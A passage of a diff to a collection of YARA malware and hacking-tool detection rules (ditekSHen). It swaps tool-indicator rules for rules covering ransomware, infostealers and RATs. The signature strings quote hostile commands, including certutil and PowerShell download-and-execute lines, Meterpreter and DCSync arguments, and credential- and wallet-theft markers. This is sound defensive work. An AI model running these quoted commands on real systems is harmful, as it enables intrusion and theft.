= "d5618c8a-17b7-5009-9947-a6462ad2a4af" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L291-L306" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1378-L1395" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "409374bec5f58abeb7741b41f0fc7ea1c3fdc7bbc3f0c0628db0e3aac82836d1" + logic_hash = "fc3032572d2ab2550d3dde738a3d403459da9b5b640acc814596d958b83620bf" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\AppData" fullword ascii - $s2 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" ascii - $s3 = "\\Mikrotik\\Winbox\\Addresses.cdb" fullword ascii - $s4 = "\\HostName" fullword ascii - $s5 = "\\Password" fullword ascii - $s6 = "SOFTWARE\\RealVNC\\" ascii - $s7 = "SOFTWARE\\TightVNC\\" ascii - $s8 = "cred.dll" fullword ascii + $s1 = "\\IMAGEM~1.%d\\VISUA~1\\BIN\\%s.exe" ascii + $s2 = "\\IMAGEM~1.%.2d-\\VISUA~1\\BIN\\%s.exe" ascii + $s3 = "\\IMAGEM~1.%d-Q\\VISUA~1\\BIN\\%s.exe" ascii + $s4 = "\\IMAGEM~1.%d\\%s.exe" ascii + $s5 = "EW6]>mFXDS?YBi?W5] CY 4Z8Y BY7Y BZ8Z CY7Y AY8Z CZ8Y!Y:Z" ascii + $s6 = "FY AY 'Z ;W @Y @Y 'Z Y @Y (Z" ascii + $s7 = "\"rcid\":\"" fullword ascii + $s8 = "\"ip\":\"" fullword ascii wide + $s9 = ".?AUANEventIsGetExternalIP@@" fullword ascii + $s10 = ".?AUANEventGetCpuMax@@" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize < 400KB and 7 of them + uint16( 0 ) == 0x5a4d and 8 of them } -rule DITEKSHEN_INDICATOR_TOOL_SCR_Amady : FILE +rule DITEKSHEN_MALWARE_Win_Prolock : FILE { meta: - description = "Detects screenshot stealer DLL. Dropped by Amadey" + description = "ProLock ransomware payload" author = "ditekSHen" - id = "f7660899-ed12-5765-a856-6a1c7bbd8978" + id = "88fa19ba-238c-5d4d-bf0c-d421ee2ecf1d" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L308-L320" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1397-L1413" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "9e7ab39976e3219f0c6c3ce5341442343cc4baf30757cd1c9d0c2d3845fdda2f" + logic_hash = "b7d2cc71acc4f643a86781d957afcf5203a2f4034b9ca7da93e8227ddee79f3b" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Ransomware.ProLock" strings: - $s1 = "User-Agent: Uploador" fullword ascii - $s2 = "Content-Disposition: form-data; name=\"data\"; filename=\"" fullword ascii - $s3 = "WebUpload" fullword ascii - $s4 = "Cannot assign a %s to a %s%List does not allow duplicates ($0%x)%String" wide - $s5 = "scr.dll" fullword ascii + $s1 = ".flat" fullword ascii + $s2 = ".data" fullword ascii + $s3 = ".api" fullword ascii + $s4 = "RtlZeroMemory" fullword ascii + $s5 = "LoadLibraryA" fullword ascii + $s6 = "Sleep" fullword ascii + $s7 = "lstrcatA" fullword ascii + $s8 = { 55 89 E5 8B 45 08 EB 00 89 45 EC 8D 15 4F 10 40 00 8D 05 08 10 40 00 83 E8 08 29 C2 8B 45 EC 01 C2 31 } condition: - uint16( 0 ) == 0x5a4d and filesize < 700KB and 4 of them + uint16( 0 ) == 0x5a4d and all of them } -rule DITEKSHEN_INDICATOR_TOOL_EXP_Eternalblue : FILE +rule DITEKSHEN_MALWARE_Win_Purplewave : FILE { meta: - description = "Detects Windows executables containing EternalBlue explitation artifacts" + description = "PurpleWave infostealer payload" author = "ditekSHen" - id = "08173a1e-2e32-5add-864a-d92ffa0a3e44" + id = "6f978190-4b4d-5346-9218-0c9104254b45" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L322-L342" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1415-L1432" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "63e56637118accb8c32c20e52465c027df2dbf83b3b663d316b453ce879572c8" + logic_hash = "98dca005d2fdf7eea89661e162292451b544847a7f8b63c8c25c82241ec8e04a" score = 75 - quality = 50 + quality = 25 tags = "FILE" strings: - $ci1 = "CNEFileIO_" ascii wide - $ci2 = "coli_" ascii wide - $ci3 = "mainWrapper" ascii wide - $dp1 = "EXPLOIT_SHELLCODE" ascii wide - $dp2 = "ETERNALBLUE_VALIDATE_BACKDOOR" ascii wide - $dp3 = "ETERNALBLUE_DOUBLEPULSAR_PRESENT" ascii wide - $dp4 = "//service[name='smb']/port" ascii wide - $dp5 = /DOUBLEPULSAR_(PROTOCOL_|ARCHITECTURE_|FUNCTION_|DLL_|PROCESS_|COMMAND_|IS_64_BIT)/ - $cm1 = "--DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll" ascii wide - $cm2 = "--DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll" ascii wide - $cm3 = "--DaveProxyPort=0 --NetworkTimeout 30 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig" ascii wide + $s1 = "/loader/" fullword ascii + $s2 = "\\load_" fullword wide + $s3 = "boundaryaswell" fullword ascii + $s4 = "[passwords]" ascii + $s5 = "[is_encrypted]" ascii + $s6 = "[cookies]" ascii + $s7 = ".?AVMozillaBrowser@@" fullword ascii + $s8 = ".?AVChromeBrowser@@" fullword ascii + $s9 = ".?AV?$money" ascii + $s10 = "at t.me/LuckyStoreSupport" ascii condition: - uint16( 0 ) == 0x5a4d and ( 2 of ( $ci* ) ) or ( 2 of ( $dp* ) ) or ( 1 of ( $dp* ) and 1 of ( $ci* ) ) or ( 1 of ( $cm* ) ) + uint16( 0 ) == 0x5a4d and 7 of them } -rule DITEKSHEN_INDICATOR_TOOL_EXP_Weblogic : FILE +rule DITEKSHEN_MALWARE_Java_Pyrogenic { meta: - description = "Detects Windows executables containing Weblogic exploits commands" + description = "Pyrogenic/Qealler infostealer payload" author = "ditekSHen" - id = "e761a968-35cb-5284-99f2-6d516ad348e3" + id = "2b9268f0-2f73-51ad-ab72-9289e42e5bb1" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L344-L353" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1434-L1446" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "01855f1125b0ba87dd40f7d460440dbda2d75c8b484e842a2b2e20c089b4ab5e" + logic_hash = "bb8cb939f06a376f72dcbbb1f04ec34526f72c3bcc3b146b905a8466826d2c24" score = 75 quality = 75 - tags = "FILE" + tags = "" strings: - $s1 = "certutil.exe -urlcache -split -f AAAAA BBBBB & cmd.exe /c BBBBB" ascii - $s2 = "powershell (new-object System.Net.WebClient).DownloadFile('AAAAA','BBBBB')" ascii + $s1 = "bbb6fec5ebef0d93" ascii wide + $s2 = "2a898bc98aaf6c96f2054bb1eadc9848eb77633039e9e9ffd833184ce553fe9b" ascii wide + $s3 = "addShutdownHook" ascii wide + $s4 = "obfuscated/META-INF/QeallerV" ascii wide + $s5 = "globalIpAddress" ascii wide condition: - uint16( 0 ) == 0x5a4d and 1 of them + all of them } -rule DITEKSHEN_INDICATOR_TOOL_SCN_Smbtouch : FILE +rule DITEKSHEN_MALWARE_Win_Agentteslav3 : FILE { meta: - description = "Detects SMBTouch scanner EternalBlue, EternalChampion, EternalRomance, EternalSynergy" + description = "AgentTeslaV3 infostealer payload" author = "ditekSHen" - id = "4e8176dd-4113-5fa8-a695-77e7169f6975" + id = "c44c69dd-5e95-595c-88c7-89e243648198" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L376-L400" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1448-L1481" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "78c2a435762d3febe927eb15910d5a18c1ffe74604673463543d3c859f5ef8e9" + logic_hash = "6c62b2f601eba3c83b60f7f6dbd3d0ec3c01af30f4312df897bb5e902c36fdac" score = 75 - quality = 75 + quality = 73 tags = "FILE" strings: - $s1 = "[+] SMB Touch started" fullword ascii - $s2 = "[-] Could not connect to share (0x%08X - %s)" fullword ascii - $s3 = "[!] Target could be either SP%d or SP%d," fullword ascii - $s4 = "[!] for these SMB exploits they are equivalent" fullword ascii - $s5 = "[+] Target is vulnerable to %d exploit%s" fullword ascii - $s6 = "[+] Touch completed successfully" fullword ascii - $s7 = "Network error while determining exploitability" fullword ascii - $s8 = "Named pipe or share required for exploit" fullword ascii - $w1 = "UsingNbt" fullword ascii - $w2 = "TargetPort" fullword ascii - $w3 = "TargetIp" fullword ascii - $w4 = "RedirectedTargetPort" fullword ascii - $w5 = "RedirectedTargetIp" fullword ascii - $w6 = "NtlmHash" fullword ascii - $w7 = "\\PIPE\\LANMAN" fullword ascii - $w8 = "UserRejected: " fullword ascii + $s1 = "get_kbok" fullword ascii + $s2 = "get_CHoo" fullword ascii + $s3 = "set_passwordIsSet" fullword ascii + $s4 = "get_enableLog" fullword ascii + $s5 = "bot%telegramapi%" wide + $s6 = "KillTorProcess" fullword ascii + $s7 = "GetMozilla" ascii + $s8 = "torbrowser" wide + $s9 = "%chatid%" wide + $s10 = "logins" fullword wide + $s11 = "credential" fullword wide + $s12 = "AccountConfiguration+" wide + $s13 = "<a.+?href\\s*=\\s*([\"'])(?<href>.+?)\\1[^>]*>" fullword wide + $g1 = "get_Clipboard" fullword ascii + $g2 = "get_Keyboard" fullword ascii + $g3 = "get_Password" fullword ascii + $g4 = "get_CtrlKeyDown" fullword ascii + $g5 = "get_ShiftKeyDown" fullword ascii + $g6 = "get_AltKeyDown" fullword ascii + $m1 = "yyyy-MM-dd hh-mm-ssCookieapplication/zipSCSC_.jpegScreenshotimage/jpeg/log.tmpKLKL_.html<html></html>Logtext/html[]Time" ascii + $m2 = "%image/jpg:Zone.Identifier\\tmpG.tmp%urlkey%-f \\Data\\Tor\\torrcp=%PostURL%127.0.0.1POST+%2B" ascii + $m3 = ">{CTRL}</font>Windows RDPcredentialpolicyblobrdgchrome{{{0}}}CopyToComputeHashsha512CopySystemDrive\\WScript.ShellRegReadg401" ascii + $m4 = "%startupfolder%\\%insfolder%\\%insname%/\\%insfolder%\\Software\\Microsoft\\Windows\\CurrentVersion\\Run%insregname%SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\RunTruehttp" ascii + $m5 = "\\WindowsLoad%ftphost%/%ftpuser%%ftppassword%STORLengthWriteCloseGetBytesOpera" ascii condition: - uint16( 0 ) == 0x5a4d and ( 2 of ( $s* ) or all of ( $w* ) ) + ( uint16( 0 ) == 0x5a4d and ( 8 of ( $s* ) or ( 6 of ( $* ) and all of ( $g* ) ) ) ) or ( 2 of ( $m* ) ) } -rule DITEKSHEN_INDICATOR_TOOL_SCN_Nbtscan : FILE +rule DITEKSHEN_MALWARE_Win_Taurus : FILE { meta: - description = "Detects NBTScan scanner for open NETBIOS nameservers on a local or remote TCP/IP network" + description = "Taurus infostealer payload" author = "ditekSHen" - id = "663c324e-4784-5efe-bbdf-60fa42e13944" + id = "c02114c1-9c97-5d0c-b7ce-1bd6a00a9e9a" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L402-L420" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1483-L1519" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "a81b95ad60aac4d66586ae7dc61f6bcbe2b7185b66b2bb895f45abff3ad3f430" + logic_hash = "6039c27e69b47dfcc1327c34306627d2d9bd57f6bd365bb80b47ad21f892ae8a" score = 75 - quality = 75 + quality = 73 tags = "FILE" strings: - $s1 = "[%s] is an invalid target (bad IP/hostname)" fullword ascii - $s2 = "ERROR: no parse for %s -- %s" fullword ascii - $s3 = "add_target failed" fullword ascii - $s4 = " -p <n> bind to UDP Port <n> (default=%d)" fullword ascii - $s5 = "process_response.c" fullword ascii - $s6 = "currTarget != 0" fullword ascii - $s7 = "parse_target.c" fullword ascii - $s8 = "dump_packet.c" fullword ascii - $s9 = "parse_target_cb.c" fullword ascii - $s10 = "DUMP OF PACKET" fullword ascii - $s11 = "lookup_hostname.c" fullword ascii + $s1 = "t.me/taurus_se" ascii + $s2 = "rus_seller@explo" ascii + $s3 = "/c timeout /t 3 & del /f /q" ascii + $s4 = "MyAwesomePrefix" ascii + $txt1 = "LogInfo.txt" fullword ascii + $txt2 = "Information.txt" fullword ascii + $txt3 = "General\\passwords.txt" fullword ascii + $txt4 = "General\\forms.txt" fullword ascii + $txt5 = "General\\cards.txt" fullword ascii + $txt6 = "Installed Software.txt" fullword ascii + $txt7 = "Crypto Wallets\\WalletInfo.txt" fullword ascii + $txt8 = "cookies.txt" fullword ascii + $url1 = "/cfg/" wide + $url2 = "/loader/complete/" wide + $url3 = "/log/" wide + $url4 = "/dlls/" wide + $upat = /\.exe;;;\d;\d;\d\]\|\[http/ + $x1 = "Vaultcli.dll" fullword ascii + $x2 = "Bcrypt.dll" fullword ascii + $x3 = "*.localstor" ascii + $x4 = "operator<=>" fullword ascii + $x5 = ".data$rs" fullword ascii + $x6 = "https_discordap" ascii + $o1 = { 53 56 8b 75 08 8d 85 64 ff ff ff 57 6a ff 6a 01 } + $o2 = { 6a 00 68 00 04 00 00 ff b5 a8 fe ff ff ff b5 ac } + $o3 = { ff 75 0c 8d 85 44 ff ff ff 50 e8 aa f7 ff ff 8b } + $o4 = { 8b 47 04 c6 40 19 01 8d 85 6c ff ff ff 8b 0f 50 } + $o5 = { 8d 8d ?? ff ff ff e8 5b } condition: - uint16( 0 ) == 0x5a4d and 10 of ( $s* ) + (( 3 of ( $s* ) or ( 6 of ( $txt* ) and 2 of ( $s* ) ) or ( $upat and 1 of ( $s* ) and 2 of ( $txt* ) ) or ( all of ( $url* ) and ( 2 of ( $txt* ) or 1 of ( $s* ) ) ) ) or ( uint16( 0 ) == 0x5a4d and all of ( $x* ) or ( all of ( $o* ) and 3 of ( $x* ) ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_ENC_Bestcrypt : FILE +rule DITEKSHEN_MALWARE_Win_Remoteutilitiesrat : FILE { meta: - description = "Detects BestEncrypt commercial disk encryption and wiping software" + description = "RemoteUtilitiesRAT RAT payload" author = "ditekSHen" - id = "30c3c17c-c951-5b14-80ba-eec7b2195985" + id = "1cf3ece1-e723-5302-9673-273381ba7a8b" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L442-L453" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1521-L1537" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "77d338c6f3e4b733cb31eb1ae05e4ce8631812f7161bc70074a3fe1dee9df770" + logic_hash = "179a559f6a6ffbce31595bd613d338bb6ac40b8a083ed0169cde754b6ed756c7" score = 75 - quality = 50 + quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.RemoteUtilitiesRAT" strings: - $s1 = "BestCrypt Volume Encryption" wide - $s2 = "BCWipe for " wide - $s3 = "Software\\Jetico\\BestCrypt" wide - $s4 = "%c:\\EFI\\Jetico\\" fullword wide + $s1 = "rman_message" wide + $s2 = "rms_invitation" wide + $s3 = "rms_host_" wide + $s4 = "rman_av_capture_settings" wide + $s5 = "rman_registry_key" wide + $s6 = "rms_system_information" wide + $s7 = "_rms_log.txt" wide + $s8 = "rms_internet_id_settings" wide condition: - uint16( 0 ) == 0x5a4d and all of them + uint16( 0 ) == 0x5a4d and 4 of them } -rule DITEKSHEN_INDICATOR_TOOL_CNC_Earthworm : FILE +rule DITEKSHEN_MALWARE_Win_Slothfulmedia : FILE { meta: - description = "Detects Earthworm C&C Windows/macOS tool" + description = "SlothfulMedia backdoor payload" author = "ditekSHen" - id = "4a6edcf3-b3c4-5620-8eac-102b1ce425f8" + id = "e94b6d67-137c-5cfb-9c59-fbeb6cd85f0a" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L455-L471" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1539-L1565" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "5045faaaa9e60d4bd506240d51ff78dad4e89ccee0e824e7e5c309a8d3ae2883" + logic_hash = "6f742e8d9d555b44daaa09835f599c99e16cd39bb106c8f43fbbca7093de462e" score = 75 - quality = 50 + quality = 73 tags = "FILE" strings: - $s1 = "lcx_tran 0.0.0.0:%d <--[%4d usec]--> %s:%d" fullword ascii - $s2 = "ssocksd 0.0.0.0:%d <--[%4d usec]--> socks server" fullword ascii - $s3 = "rcsocks 0.0.0.0:%d <--[%4d usec]--> 0.0.0.0:%d" fullword ascii - $s4 = "rssocks %s:%d <--[%4d usec]--> socks server" fullword ascii - $s5 = "--> %3d <-- (close)used/unused %d/%d" fullword ascii - $s6 = "<-- %3d --> (open)used/unused %d/%d" fullword ascii - $s7 = "--> %d start server" ascii - $s8 = "Error on connect %s:%d [proto_init_cmd_rcsocket]" fullword ascii - $url = "http://rootkiter.com/EarthWrom/" nocase fullword ascii + $x1 = /ExtKeylogger(Start|Stop)/ fullword ascii + $x2 = /ExtService(Add|Delete|Start|Stop)/ fullword ascii + $x3 = /ExtRegKey(Add|Del)/ fullword ascii + $x4 = /ExtRegItem(Add|Del)/ fullword ascii + $x5 = "ExtUnload" fullword ascii + $s1 = "Local Security Process" fullword wide + $s2 = "Global%s%d" fullword wide + $s3 = "%s%s_%d.dat" fullword wide + $s4 = "\\AppIni" fullword wide + $s5 = "%s.tmp" fullword wide + $s6 = "\\SetupUi" fullword wide + $s7 = "%s|%s|%s|%s" fullword wide + $s8 = "\\ExtInfo" fullword wide + $cnc1 = "/v?m=" fullword ascii + $cnc2 = "%s&i=%d" fullword ascii + $cnc3 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75" fullword ascii + $cnc4 = "Content-Length: %d" fullword ascii condition: - ( uint16( 0 ) == 0xfacf or uint16( 0 ) == 0x5a4d ) and ( 5 of ( $s* ) or $url ) + uint16( 0 ) == 0x5a4d and ( 3 of ( $x* ) or 7 of ( $s* ) or all of ( $cnc* ) or ( 1 of ( $x* ) and 4 of ( $s* ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_PWS_Keychaindumper : FILE +rule DITEKSHEN_MALWARE_Win_Ircbot : FILE { meta: - description = "Detects macOS certificate/password keychain dumping tool" + description = "IRCBot payload" author = "ditekSHen" - id = "cec094fa-c651-58a6-a306-f16d8603e536" + id = "69739d82-9760-5c4e-bf9e-60c60617a12a" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L473-L484" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1567-L1596" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "f606bdd5dba2180ffc552c46373b52801a0bd65a538b381fb9f4240efc5bd458" + logic_hash = "1ea640202cfbd0c3425a192c45938f632dc644f41c7974118e7491b026122818" score = 75 - quality = 71 + quality = 67 tags = "FILE" - clamav_sig = "INDICATOR_Osx.Tool.PWS.KeychainDumper" strings: - $s1 = "_getEmptyKeychainItemString" fullword ascii - $s2 = "NdumpKeychainEntitlements" fullword ascii - $s3 = "_dumpKeychainEntitlements" fullword ascii + $s1 = ".okuninstall" fullword wide + $s2 = ".oksnapshot" fullword wide + $s3 = "\\uspread.vbs" fullword wide + $s4 = "KEYLogger" ascii nocase + $s5 = "GetKeyLogs" fullword ascii + $s6 = "GetLoocationInfo" fullword ascii + $s7 = "CaputerScreenshot" fullword ascii + $s8 = "get_SCRIPT_DATA" fullword ascii + $s9 = /irc_(server|nickname|password|channle)/ fullword ascii + $s10 = "machine_screenshot" fullword ascii + $s11 = "CollectPassword" fullword ascii + $s12 = "USBInfection" fullword ascii nocase + $cnc1 = "&command=UpdateAndGetTasks&machine_id=" wide + $cnc2 = "&machine_os=1&privateip=" wide + $cnc3 = "&command=InsertTaskExecution&excuter_id=" wide + $cnc4 = "&command=RegisterNewMachine" wide + $cnc5 = "&command=UpdateNewMachine" wide + $cnc6 = "&command=GetPayloads&keys=" wide + $cnc7 = "&command=SaveSnapshot" wide + $pdb = "\\Projects\\USBStarter\\USBStarter\\obj\\Release\\USBStarter.pdb" ascii condition: - ( uint16( 0 ) == 0xfeca or uint16( 0 ) == 0xfacf ) and all of them + uint16( 0 ) == 0x5a4d and ( 7 of ( $s* ) or 3 of ( $cnc* ) or ( $pdb and 2 of them ) ) } -rule DITEKSHEN_INDICATOR_TOOL_PET_P0Wnedshell : FILE +rule DITEKSHEN_MALWARE_Win_Apocalypse : FILE { meta: - description = "Detects compiled executables of p0wnedShell post-exploitation toolkit" + description = "Apocalypse infostealer payload" author = "ditekSHen" - id = "7df8f9b4-48d3-5271-9d60-5dd4bfaed316" + id = "f1fa6642-fe42-57e7-a1bc-0f59815049f8" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L486-L512" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1598-L1615" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "9745b69573bf695fdada122143fb1889a7b2025250b5fb1e8f1a86b3be6f27d3" + logic_hash = "d18ac492ad57cf390f20693cb47ae2c6e3dbdd921fa846130a4bc20047e1aa27" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "Use WinRM, PsExec, SMB/WMI to execute commands on remote systems" wide - $s2 = "-CreateProcess \"cmd.exe\" -Username \"nt authority\\system\"" wide - $s3 = "-Command '\"lsadump::dcsync /user:" wide - $s4 = "-Payload windows/meterpreter/reverse_https -Lhost" wide - $s5 = "Get-Content ./EncodedPayload.bat" fullword wide - $e1 = "OnYNAB+LCAAAAAAABAC8vOeS60iSLvh75yly+rZZVxuqC4KQs3uvLQhFEJIACALoHVuD1oKQBMbuuy+Y4pw8dUTf3R+bZlWVZHh87uHh4vPItv63ZGrCMW+bF7GZ2zL+" wide - $e2 = "kuIeAB+LCAAAAAAABADsvWt327iuMPw9v0Jv27Wa7DqJc2ma5nl71vZFTpzx/ZJL+3TlyLZiq7EtjyTHcffZ//0BSEqiKEqWbKczs8941qS2LgAIAiAIguDjfNp3DHOq" wide - $e3 = "mZYIAB+LCAAAAAAABADsvflj2zyOMPx7/gptmnftbBIfuZp0t/OOfMZp7PjO0adfX9lSbCWy5Vp2HGfm+d8/ACQl6vCRNp2Z3bVmnioWSRAEQQAESfC/Pmwp8FTtmTFu" wide - $e4 = "u9YGAB+LCAAAAAAABADsvW1D40ayKPw9v0Lr4V7ZE8vY5mUY9rKJBzMTnmWAgyGTvYTlCluAdmzJK9nDsEn++1NV/S61ZJmXZJIN52wG7O7q6urq6qrqquoXSfDveZgE" wide - $e5 = "T3gDAB+LCAAAAAAABADtvX1f2zq2KPz3yafQzuZcwi5JEydQ2nM7v4cCnc0zQLmE7j3z6+7NmMQBnwY7YzsFTqff/WpJsi3Jki07DlA2mT008ctaS0tL601L0nThjSPX" wide - $e6 = "zRgDAB+LCAAAAAAABADtfW1327jR6OdHv4Kr9TmWdiVZkl+SdZs913Gcrm9tx7WcbvekuS4t0TYbiVRJKYmfbf77xeCNeCVBinKcbNStI5HAYDAYDAaDwczNMhovwjjy" wide - $e7 = "pxICAB+LCAAAAAAABADtvf17GkeyKPyz+Cvmlfw+ggRhfcXr1X1znsUIx5yVhC7IUbI+fnUHGKRZwww7M1jWyeZ/v1XV3z09wABysnviZ1cBpqe6urqquqq6uno8j4ZZ" wide - $e8 = "H4sIAAAAAAAEANy9e3wTVfo4PG1SmkLbCdpgFdSgUeuCbLTAthYk005gQhNahUIVkCqIqKi1TaAuIGBaJRzG27Kuul5wV3fV1fUuUFxNKbTl3oJAuaiouE4paAGBFpB5" wide - $k1 = "EasySystemPPID" fullword ascii - $k2 = "EasySystemShell" fullword ascii - $k3 = "LatMovement" fullword ascii - $k4 = "ListenerURL" fullword ascii - $k5 = "MeterStager" fullword ascii - $k6 = "PatchEventLog" fullword ascii + $s1 = "OpenClipboard" fullword ascii + $s2 = "SendARP" fullword ascii + $s3 = "GetWebRequest" fullword ascii + $s4 = "DotNetGuard" fullword ascii + $s5 = "set_CreateNoWindow" fullword ascii + $s6 = "UploadFile" fullword ascii + $s7 = "GetHINSTANCE" fullword ascii + $s8 = "Kill" fullword ascii + $s9 = "GetProcesses" fullword ascii + $s10 = "get_PrimaryScreen" fullword ascii condition: - uint16( 0 ) == 0x5a4d and ( 3 of ( $s* ) or 7 of ( $e* ) or all of ( $k* ) or ( 2 of ( $s* ) and 2 of ( $e* ) and 2 of ( $k* ) ) ) + uint16( 0 ) == 0x5a4d and all of them } -rule DITEKSHEN_INDICATOR_TOOL_PWS_Rubeus : FILE +rule DITEKSHEN_MALWARE_Win_Osno : FILE { meta: - description = "Detects Rubeus kerberos defensive/offensive toolset" + description = "Osno ransomware and infostealer payload" author = "ditekSHen" - id = "5af8cee0-e664-5dfe-9932-0e74ed41b6b4" + id = "25ed5ad4-804a-5608-b6fe-a811ca6744d8" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L514-L531" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1617-L1652" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "ee817d23427970d7e77f9ce2a7cbc25c77177d81354fed83e7551cdcbc2d7cd2" + logic_hash = "3df59c306017001467a5f237db2ab37d97c34116558e18420a6a1f01f08f520f" score = 75 - quality = 75 + quality = 73 tags = "FILE" strings: - $s1 = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" fullword wide - $s2 = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" fullword wide - $s3 = "rc4opsec" fullword wide - $s4 = "pwdlastset" fullword wide - $s5 = "LsaEnumerateLogonSessions" fullword ascii - $s6 = "extractKerberoastHash" fullword ascii - $s7 = "ComputeAllKerberosPasswordHashes" fullword ascii - $s8 = "kerberoastDomain" fullword ascii - $s9 = "GetUsernamePasswordTGT" fullword ascii - $s10 = "WriteUserPasswordToFile" fullword ascii + $s1 = ".HolyGate+<>c+<<FinalBoss>" ascii + $s2 = /Osno(Keylogger|Stealer|Ransom)/ wide + $s3 = "password,executeWebhook('Account credentials" wide + $s4 = "-Name Osno -PropertyType" wide + $s5 = "process.env.hook" ascii + $s6 